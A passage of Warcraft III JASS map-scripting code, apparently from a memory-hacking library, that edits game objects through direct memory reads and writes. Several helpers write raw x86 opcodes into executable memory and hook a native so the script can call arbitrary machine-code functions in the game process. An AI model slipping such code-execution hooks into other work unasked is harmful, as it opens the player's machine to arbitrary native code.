    if a>0 then
        set a=ReadRealMemory(a + 0x1F0)
        if a>0 then
            return ReadRealMemory(a+0xCC)
        endif
    endif
    return 0
endfunction

function GetHeroPrimaryAttributeById takes integer id returns integer
    local integer a=GetUnitDataDefAddr(id)
    if a>0 then
        return ReadRealMemory(a + 0x17C)
    endif
    return 0
endfunction

function SetHeroPrimaryAttribute takes unit u,integer i returns nothing
    if IsUnitIdType(GetUnitTypeId(u),UNIT_TYPE_HERO) then
        set Memory[Memory[ConvertHandle(u) / 4 + 124] / 4 + 51]=i
    endif
endfunction

function PrintJassNatives takes nothing returns nothing
    //[[[[Game.dll+ADA848]+14]+20]
    local integer FirstAddress = Memory[Memory[Memory[pJassEnvAddress]/4+0x5]/4+8]/4
    local integer NextAddress = FirstAddress
    call PreloadEndEx()
    call PreloadGenClear()
    call PreloadGenStart()

    loop
        set NextAddress = Memory[NextAddress]/4
        set testFunctionCount = testFunctionCount + 1
        call Preload("native add "+Int2Hex(Memory[NextAddress+0xC/4]))
        if NextAddress == FirstAddress or NextAddress == 0 then
            call PreloadGenEnd("natives"+R2S(GetRandomReal(0,500))+".txt")
            call PreloadGenClear()
            return
        endif
    endloop
endfunction





function SetAbilityManaCost takes integer abil, integer level, integer cost returns nothing
    local integer a=GetObjectDataCaching(pAbilityData, abil)
    if a>0 then
        set a=Memory[a+21]
        if a>0 then
            set Memory[a/4-22+level*26]=cost
        endif
    endif
endfunction

function GetAbilityManaCost takes integer abil, integer level returns integer
    local integer a=GetObjectDataCaching(pAbilityData, abil)
    if a>0 then
        set a=Memory[a+21]
        if a>0 then
            return Memory[a/4-22+level*26]
        endif
    endif
    return 0
endfunction

function GetAbilityManaCostAddr takes integer add, integer level returns integer
    if Memory[add/4+0x54/4]>0 then
        return Memory[Memory[add/4+0x54/4]/4+level*0x68/4]
    endif
    return 0
endfunction

function SetAbilityManaCostAddr takes integer add, integer level, integer mc returns nothing
    if Memory[add/4+0x54/4]>0 then
        set Memory[Memory[add/4+0x54/4]/4+level*0x68/4]=mc
    endif
endfunction

function SetAbilityCD takes integer abil, integer level, real cool returns nothing
    set Memory[Memory[GetObjectDataCaching(pAbilityData, abil)+21]/4-21+level*26]= cleanInt(realToIndex(cool))
endfunction

function GetAbilityCD takes integer abil, integer level returns real
    local integer a=GetObjectDataCaching(pAbilityData, abil)
    if a>0 then
        if Memory[a+21]>0 then
            return cleanReal(indexToReal(Memory[Memory[a+21]/4-21+level*26])) // need clean/indextoreal ?
        endif
    endif
    return 0.
endfunction

function GetAbilCastTime takes ability abil returns real
 return cleanReal(indexToReal(Memory[ConvertHandle(abil)/4 + 0x84/4] ))
endfunction

function SetAbilCastTime takes ability abil ,real r returns nothing
 set Memory[ConvertHandle(abil)/4 + 0x84/4] = cleanInt(realToIndex(r ))
endfunction

function GetAbilityMaxLevel takes integer abil returns integer
    local integer a
    if abil==0 then
        return 0
    endif
    set a=GetObjectDataCaching(pAbilityData, abil)
    if a>0 then
        return Memory[a+20]
    endif
    return 0
endfunction

function AddAbilityCooldown takes ability a, real seconds returns nothing
    local integer pData = Memory[ConvertHandle(a)/4+55]/4
    if pData != 0 then
        set Memory[pData+1] = cleanInt(realToIndex(seconds+cleanReal(indexToReal(Memory[pData+1]))))
        //set Memory[ConvertHandle(a)/4+45] = cleanInt(realToIndex(seconds+cleanReal(indexToReal(Memory[ConvertHandle(a)/4+45])))) This should not be modified together
    endif
endfunction

function AddAbilityCooldownConverted takes integer a, real seconds returns nothing
    local integer pData = Memory[a+55]/4
    if pData != 0 then
        set Memory[pData+1] = cleanInt(realToIndex(seconds+cleanReal(indexToReal(Memory[pData+1]))))
    endif
endfunction

function AddAbilityBaseCooldown takes ability a, real seconds returns nothing
    local integer pData = Memory[ConvertHandle(a)/4+45]
    if pData != 0 then
        set Memory[pData] = cleanInt(realToIndex(seconds))
    endif
endfunction

//This value holds the base cooldown of the ability at the last time it was casted. It’s used to calculate the % of elapsed cooldown.
//This is completely irrelevant for the gameplay, it’s used only to determine which frame of the cooldown model will be displayed.

function GetAbilityCurrentCooldown takes ability a returns real
    local integer pData = Memory[ConvertHandle(a)/4+55]/4
    if pData != 0 then
        return cleanReal(indexToReal(Memory[pData+1])) - cleanReal(indexToReal(Memory[Memory[pData+3]/4+16]))
    endif
    return .0
endfunction

function CopyCooldownStr takes integer from, integer to returns nothing
    local integer pData = Memory[from+55]
    if pData != 0 then
        //if Memory[to+55]==0 then
            set Memory[to+55]=pData
            //set Memory[to+52]=Memory[from+52]
            //set Memory[to+54]=to*4
            set Memory[to+45]=Memory[from+45]
            if IsFlagBitSet(Memory[to+8],512)==false then
                set Memory[to+8]=Memory[to+8]+512
//                call BJDebugMsg("add cd")
            else
//                call BJDebugMsg("already cd")
            endif
        //endif
    endif
endfunction

function GetAbilityCurrentCooldownConverted takes integer a returns real
    local integer pData = Memory[a+55]/4
    if pData != 0 then
        return cleanReal(indexToReal(Memory[pData+1])) - cleanReal(indexToReal(Memory[Memory[pData+3]/4+16]))
    endif
    return .0
endfunction

//This actually returns the timestamp, not the cooldown. To get the real cooldown you need to subtract this from the current game time.

function GetAbilityCooldownReal takes ability a returns real
    local integer pData = Memory[ConvertHandle(a)/4+55]/4
    if pData != 0 then
        return cleanReal(indexToReal(Memory[pData+1]))
    endif
    return 0.
endfunction

function IsAbilityOnCooldown takes integer z returns boolean
    return IsFlagBitSet(Memory[(z+0x20)/4],512)
endfunction

function SetAbilityDisabled takes integer pAbility, integer count returns nothing
    set Memory[pAbility/4+15] = count //not safe unless used with PauseUnit. Button will be blacked, but current casts of that ability won’t be interrupted.
endfunction

function GetAbilityDisabledCount takes integer pAbility returns integer
    return Memory[pAbility/4+15]
endfunction

function SetAbilityHidden takes integer pAbility, integer count returns nothing
    set Memory[pAbility/4+16] = count //This one is 100% safe. This hides the ability button, and order can’t be issued.
endfunction

function SetAbilityDisabled2 takes integer pAbility, integer count returns nothing
    set Memory[pAbility/4+17] = count //This one is used by Orb of Slow. Button is blacked, but cooldown is stil displayed.
endfunction

function GetAbilityDisabled2 takes integer pAbility returns integer
    return Memory[pAbility/4+17]//This one is used by Orb of Slow. Button is blacked, but cooldown is stil displayed.
endfunction

function DisableUnitsMovement takes unit u, boolean disable returns nothing
    local integer i=2
    if disable==false then
        set i=1
    endif
    call PauseUnit(u,true)
    call SetAbilityDisabled(Memory[ConvertHandle( u )/4+123], i)
    call PauseUnit(u,false)
endfunction
//pointer to 'Amov' is located at offset 123 of unit object, Aatk is at offset 122, and AInv is offset 124

//Hides all command buttons and sets the Ward flag. Unit will keep its current order, and player can’t give new orders
//Notice the the unit can’t be ordered with triggers as well. To issue an order you need to temporarily reenable control
function DisableUnitControl takes unit u returns nothing
    local integer pUnit = ConvertHandle(u)/4
    local integer flags = Memory[pUnit+146]
    local integer Amov = Memory[pUnit+123]/4+16
    local integer Aatk = Memory[pUnit+122]/4+16
//    call echo("disabled on "+GetUnitName(u))
    if not IsFlagBitSet(flags,512) then
        set Memory[pUnit+146] = flags + 512
    endif
    if Amov != 16 then
        set Memory[Amov] = Memory[Amov] + 1
    endif
    if Aatk != 16 then
        set Memory[Aatk] = Memory[Aatk] + 1
    endif
endfunction

//Removes the Ward flag and reenables Amov and Aatk
function EnableUnitControl takes unit u returns nothing
    local integer pUnit = ConvertHandle(u)/4
    local integer flags = Memory[pUnit+146]
    local integer Amov = Memory[pUnit+123]/4+16
    local integer Aatk = Memory[pUnit+122]/4+16
//    call echo("enabled on "+GetUnitName(u))
    if IsFlagBitSet(flags,512) then
        set Memory[pUnit+146] = flags - 512
    endif
    if Amov != 16 and Memory[Amov]>0 then
        set Memory[Amov] = Memory[Amov] - 1
    endif
    if Aatk != 16 and Memory[Aatk]>0 then
        set Memory[Aatk] = Memory[Aatk] - 1
    endif
endfunction


function SetUnitModel takes integer uiobjectaddr, string s returns nothing
    call WriteNullTerminatedString(s, uiobjectaddr+0x30 )
endfunction

function SetUnitModelUF takes unit u, string s returns nothing//user-friendly
    call SetUnitModel(GetUnitUIDefAddr(GetUnitTypeId(u)),s)
endfunction

function SetUnitModelUFAddress takes integer address, string s returns nothing
    call SetUnitModel(address,s)
endfunction

function GetUnitAttackAbilityForAddress takes integer pConvertedHandle returns integer
    return Memory[pConvertedHandle/4+0x1e8/4]
endfunction

function GetUnitAttackAbility takes unit u returns integer
    return GetUnitAttackAbilityForAddress(ConvertHandle(u))
endfunction

function GetUnitMoveAbilityForAddress takes integer pConvertedHandle returns integer
    return Memory[pConvertedHandle/4+0x1eC/4]
endfunction

function GetUnitMoveAbility takes unit u returns integer
    return GetUnitMoveAbilityForAddress(ConvertHandle(u))
endfunction

function GetUnitHeroAbilityForAddress takes integer pConvertedHandle returns integer
    return Memory[pConvertedHandle/4+0x1F0/4]
endfunction

function GetUnitHeroAbility takes unit u returns integer
    return GetUnitHeroAbilityForAddress(ConvertHandle(u))
endfunction

function GetUnitBuildAbilityForAddress takes integer pConvertedHandle returns integer
    return Memory[pConvertedHandle/4+0x1F4/4]
endfunction

function GetUnitBuildAbility takes unit u returns integer
    return GetUnitBuildAbilityForAddress(ConvertHandle(u))
endfunction

function GetUnitInventoryAbilityForAddress takes integer pConvertedHandle returns integer
    return Memory[pConvertedHandle/4+0x1F8/4]
endfunction

function GetUnitInventoryAbility takes unit u returns integer
    return GetUnitInventoryAbilityForAddress(ConvertHandle(u))
endfunction



// Alternative for sub_6F4786B0 (126a)
function GetSomeAddress takes integer pAddr1 ,integer pAddr2 returns integer //I just split your function into 2, it should be working as before
    local integer pOff1 = 44

    if BitwiseAnd(pAddr1,pAddr2) == -1 then
      return 0
    endif

    if pAddr1 >= 0 then
      set pOff1 = 12
    endif

    set pOff1 = Memory[pGameClass1]/4 + pOff1/4
    set pOff1 = Memory[pOff1]

    if pOff1 == 0 then
      return 0
    endif

    set pOff1 = pOff1 + 8 * pAddr1 + 4

    set pOff1 = Memory[pOff1/4]

    if pOff1 == 0 or Memory[pOff1/4 + 0x18/4] != pAddr2 then
      return 0
    endif

    return pOff1

endfunction

function GetSomeAddressForAbility takes integer pAddr1 ,integer pAddr2 returns integer //Second part of GetSomeAddressForAbility
    local integer pOff1 = GetSomeAddress(pAddr1,pAddr2)
    if pOff1==0 or Memory[pOff1/4 + 0x20/4] != 0 then
      return 0
    endif
    return Memory[pOff1/4+0x54/4]
endfunction

function GetSomeAddressForLocustFlags takes integer pAddr1 ,integer pAddr2 returns integer
    local integer i = GetSomeAddress(pAddr1,pAddr2)
    return Memory[i/4+37]
endfunction

function SetLocustFlags takes unit u, integer i returns nothing //These flags can make unit immune to truesight
    local integer pOff1 = ConvertHandle(u)/4+91
    set pOff1 = GetSomeAddressForLocustFlags(Memory[pOff1], Memory[pOff1+1])
    set Memory[pOff1/4+13] = i
endfunction

function EnableTruesightImmunity takes unit u returns nothing
//I don’t really know what other side effects may be caused by this, at least GroupEnum is not affected
    call SetLocustFlags(u, 0x08000000)
endfunction

function DisableTruesightImmunity takes unit u returns nothing
    call SetLocustFlags(u, 0)
endfunction

function UnStunUnit takes unit u returns nothing
    set Memory[ConvertHandle(u)/4+102] = 0
endfunction

function IsUnitStunned2 takes unit u returns boolean
    return Memory[ConvertHandle(u)/4+102] > 0
endfunction

function IsUnitInvulnerable takes unit u returns boolean
    local integer k
//    call BJDebugMsg(GetUnitName(u))
    if u==null then
        return false
    endif
    set k=ConvertHandle(u)
    if k==0 then
        return false
    endif
    return Memory[k/4+8]/8*0x80000000 != 0
endfunction

function GetUnitInvulnerableCounter takes unit u returns integer
    local integer k
    if u==null then
        return 0
    endif
    set k=ConvertHandle(u)
    if k==0 then
        return 0
    endif
    return Memory[k/4+0xE8/4]
endfunction

function SetUnitInvulnerableCounter takes unit u, integer i returns nothing
    local integer k
    if u==null then
        return
    endif
    set k=ConvertHandle(u)
    if k==0 then
        return
    endif
    set Memory[k/4+0xE8/4]=i
endfunction

function GetUnitAbilityForAddresss takes integer pConvertedHandle, integer abilid returns integer
    local integer pAddr1 = pConvertedHandle + 476
    local integer pAddr2 = pConvertedHandle + 480
    local integer pOff1 = 0
    set pAddr1 = Memory[pAddr1/4]
    set pAddr2 = Memory[pAddr2/4]
    if pAddr1 == 0 or pAddr2 == 0 or BitwiseAnd(pAddr1,pAddr2) == -1 then
        return 0
    endif
    set pOff1 = GetSomeAddressForAbility(pAddr1,pAddr2)
    if pOff1 == 0 then
        return 0
    endif
    loop
        exitwhen pOff1 == 0
        if Memory[pOff1/4+52/4] == abilid then
        return pOff1
        endif
        set pOff1 = GetSomeAddressForAbility( Memory[pOff1/4+36/4], Memory[pOff1/4+40/4])
    endloop
    return pOff1
endfunction

function GetAbilityOrderID takes integer pAbility returns integer
    local integer pOffset2
    local integer pOffset1
    if pAbility<1 then
        return 0
    endif
//    call BJDebugMsg(Int2Hex(pAbility)+" sent")
//    call PolledWait(1.)

    //  mov ecx,[esp+04]
    //  mov edx,[ecx+6C]
    //  cmp edx,D0142 { 852290 }
    //  je 0493413A
    //  mov eax,00000000 { 0 }
    //  ret
    //  mov ecx,[ecx]
    //  mov ecx,[ecx+00000308]
    //  call ecx
    //  ret


    set Memory[pReservedExecutableMemory/4] = 0x04244C8B
    set Memory[pReservedExecutableMemory/4 + 1] = 0x816C518B
    set Memory[pReservedExecutableMemory/4 + 2] = 0x0D0142FA
    set Memory[pReservedExecutableMemory/4 + 3] = 0xB8067400
    set Memory[pReservedExecutableMemory/4 + 4] = 0x00000000
    set Memory[pReservedExecutableMemory/4 + 5] = 0x8B098BC3
    set Memory[pReservedExecutableMemory/4 + 6] = 0x00030889
    set Memory[pReservedExecutableMemory/4 + 7] = 0x90E1FF00

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory)
    endif


    if pIgnoredUnitsOffset != 0 then
        set pOffset2 = IgnoredUnits(pAbility)
        call WriteRealMemory(pIgnoredUnitsOffset,pIgnoredUnits )
        return pOffset2
    endif

    return 0
endfunction

function PrintAllUnitAbilities takes integer pConvertedHandle returns nothing
    local integer pAddr1 = pConvertedHandle + 476
    local integer pAddr2 = pConvertedHandle + 480

    local integer pOff1 = 0

    set pAddr1 = Memory[pAddr1/4]
    set pAddr2 = Memory[pAddr2/4]
    if pAddr1 == 0 or pAddr2 == 0 or BitwiseAnd(pAddr1,pAddr2) == -1 then
        return
    endif

    set pOff1 = GetSomeAddressForAbility(pAddr1,pAddr2)

    if pOff1 == 0 then
        return
    endif

    loop
        exitwhen pOff1 == 0

        call DisplayTextToPlayer(GetLocalPlayer(),0.0,0.0,"Address:"+Int2Hex(pOff1)+". ID:"+Id2String(Memory[pOff1/4+52/4])+" name: "+GetObjectName(Memory[pOff1/4+52/4]))
   
        set pOff1 = GetSomeAddressForAbility( Memory[pOff1/4+36/4], Memory[pOff1/4+40/4])
    endloop

endfunction

//function PrintAllUnitAbilitiesOld takes integer pConvertedHandle returns nothing
//    local integer pAddr1 = pConvertedHandle + 476
//    local integer pAddr2 = pConvertedHandle + 480
//
//    local integer pOff1 = 0
//
//    set pAddr1 = Memory[pAddr1/4]
//    set pAddr2 = Memory[pAddr2/4]
//    if pAddr1 == 0 or pAddr2 == 0 or BitwiseAndOld(pAddr1,pAddr2) == -1 then
//        return
//    endif
//
//    set pOff1 = GetSomeAddressForAbility(pAddr1,pAddr2)
//
//    if pOff1 == 0 then
//        return
//    endif
//
//    loop
//        exitwhen pOff1 == 0
//
//        call DisplayTextToPlayer(GetLocalPlayer(),0.0,0.0,"Address:"+Int2Hex(pOff1)+". ID:"+Id2String(Memory[pOff1/4+52/4])+" name: "+GetObjectName(Memory[pOff1/4+52/4]))
//  
//        set pOff1 = GetSomeAddressForAbility( Memory[pOff1/4+36/4], Memory[pOff1/4+40/4])
//    endloop
//
//endfunction

function GetAllUnitAbilities takes unit u returns nothing
    local integer pConvertedHandle=ConvertHandle(u)
    local integer pAddr1 = pConvertedHandle + 476
    local integer pAddr2 = pConvertedHandle + 480
    local integer i=0
    local integer h=GetHandleId(u)
    local integer pOff1 = 0
    call FlushChildHashtable(TempHash,h)

    set pAddr1 = Memory[pAddr1/4]
    set pAddr2 = Memory[pAddr2/4]
    if pAddr1 == 0 or pAddr2 == 0 or BitwiseAnd(pAddr1,pAddr2) == -1 then
        return
    endif

    set pOff1 = GetSomeAddressForAbility(pAddr1,pAddr2)

    if pOff1 == 0 then
        return
    endif

    loop
        exitwhen pOff1 == 0

//        call DisplayTextToPlayer(GetLocalPlayer(),0.0,0.0,"Address:"+Int2Hex(pOff1)+". ID:"+Id2String(Memory[pOff1/4+52/4])+" name: "+GetObjectName(Memory[pOff1/4+52/4]))
        if Memory[pOff1/4+0x34/4]!='Amov' and Memory[pOff1/4+0x34/4]!='AHer' and Memory[pOff1/4+0x34/4]!='Aatk' and Memory[pOff1/4+0x34/4]!='AInv' then
            call SaveInteger(TempHash,h,i,pOff1)//address
            call SaveInteger(TempHash,h+1,i,Memory[pOff1/4+0x34/4])//ability id
            set i=i+1
        endif
        set pOff1 = GetSomeAddressForAbility( Memory[pOff1/4+36/4], Memory[pOff1/4+40/4])
        //facepalm
    endloop

    call SaveInteger(TempHash,'abil',0,i)
endfunction



function CallFastCallWith1Args takes integer pFuncFastcallAddr, integer arg1 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0xB9F68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xC35ED6FF)


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function CallFastCallWith2Args takes integer pFuncFastcallAddr, integer arg1, integer arg2 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0xBAF68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg2)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0xB9F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+20, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xC35ED6FF)


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function CallFastCallWith3Args takes integer pFuncFastcallAddr, integer arg1, integer arg2, integer arg3 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68F68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg3)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0xBAF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, arg2)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xB9F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+20, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+28, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xC35ED6FF)


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function FUCKINGCallWith4Args takes integer pFuncFastcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68F68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg4)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, arg3)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xB8F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+20, arg2)
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xBFF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+28, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+36, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xC35ED6FF)

    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction

function CallFastCallWith4Args takes integer pFuncFastcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68F68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg4)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, arg3)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0xBAF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+20, arg2)
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xB9F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+28, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+36, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xC35ED6FF)


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function CallFastCallWith5Args takes integer pFuncFastcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4, integer arg5 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68F68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg5)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, arg4)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+20, arg3)
    call WriteRealMemory(pReservedExecutableMemory2+24, 0xBAF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+28, arg2)
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xB9F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+36, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+44, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+48, 0xC35ED6FF)


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction




function CallFastCallWith6Args takes integer pFuncFastcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4, integer arg5, integer arg6 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68F68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg6)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, arg5)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+20, arg4)
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+28, arg3)
    call WriteRealMemory(pReservedExecutableMemory2+32, 0xBAF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+36, arg2)
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xB9F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+44, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+48, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+52, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+56, 0xC35ED6FF)


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction



function CallFastCallWith7Args takes integer pFuncFastcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4, integer arg5, integer arg6, integer arg7 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68F68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg7)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, arg6)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+20, arg5)
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+28, arg4)
    call WriteRealMemory(pReservedExecutableMemory2+32, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+36, arg3)
    call WriteRealMemory(pReservedExecutableMemory2+40, 0xBAF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+44, arg2)
    call WriteRealMemory(pReservedExecutableMemory2+48, 0xB9F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+52, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+56, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+60, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+64, 0xC35ED6FF)


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction


function CallFastCallWith8Args takes integer pFuncFastcallAddr, integer arg1, integer arg2, integer arg3 , integer arg4, integer arg5, integer arg6, integer arg7, integer arg8 returns integer
    local integer pOffset1

    call WriteRealMemory(pReservedExecutableMemory2, 0x68F68B56)
    call WriteRealMemory(pReservedExecutableMemory2+4, arg8)
    call WriteRealMemory(pReservedExecutableMemory2+8, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+12, arg7)
    call WriteRealMemory(pReservedExecutableMemory2+16, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+20, arg6)
    call WriteRealMemory(pReservedExecutableMemory2+24, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+28, arg5)
    call WriteRealMemory(pReservedExecutableMemory2+32, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+36, arg4)
    call WriteRealMemory(pReservedExecutableMemory2+40, 0x68F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+44, arg3)
    call WriteRealMemory(pReservedExecutableMemory2+48, 0xBAF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+52, arg2)
    call WriteRealMemory(pReservedExecutableMemory2+56, 0xB9F68B90)
    call WriteRealMemory(pReservedExecutableMemory2+60, arg1)
    call WriteRealMemory(pReservedExecutableMemory2+64, 0xBEF68B90)
    call WriteRealMemory(pReservedExecutableMemory2+68, pFuncFastcallAddr)
    call WriteRealMemory(pReservedExecutableMemory2+72, 0xC35ED6FF)


    if pIgnoredUnitsOffset == 0 then
        set pIgnoredUnitsOffset = CreateJassNativeHook(pIgnoredUnits, pReservedExecutableMemory2 )
    else
        call WriteRealMemory(pIgnoredUnitsOffset,pReservedExecutableMemory2)
    endif


    set pOffset1 = IgnoredUnits(0)
    call WriteRealMemory(pIgnoredUnitsOffset, pIgnoredUnits)
    return pOffset1
endfunction




function CallThisCallWith1Args takes integer pFuncThiscallAddr, integer arg1 returns integer
    return CallFastCallWith2Args(pFuncThiscallAddr,arg1,0)
endfunction

function CallThisCallWith2Args takes integer pFuncThiscallAddr, integer arg1, integer arg2 returns integer
    return CallFastCallWith3Args(pFuncThiscallAddr,arg1,0,arg2)
endfunction

function CallThisCallWith3Args takes integer pFuncThiscallAddr, integer arg1, integer arg2, integer arg3 returns integer
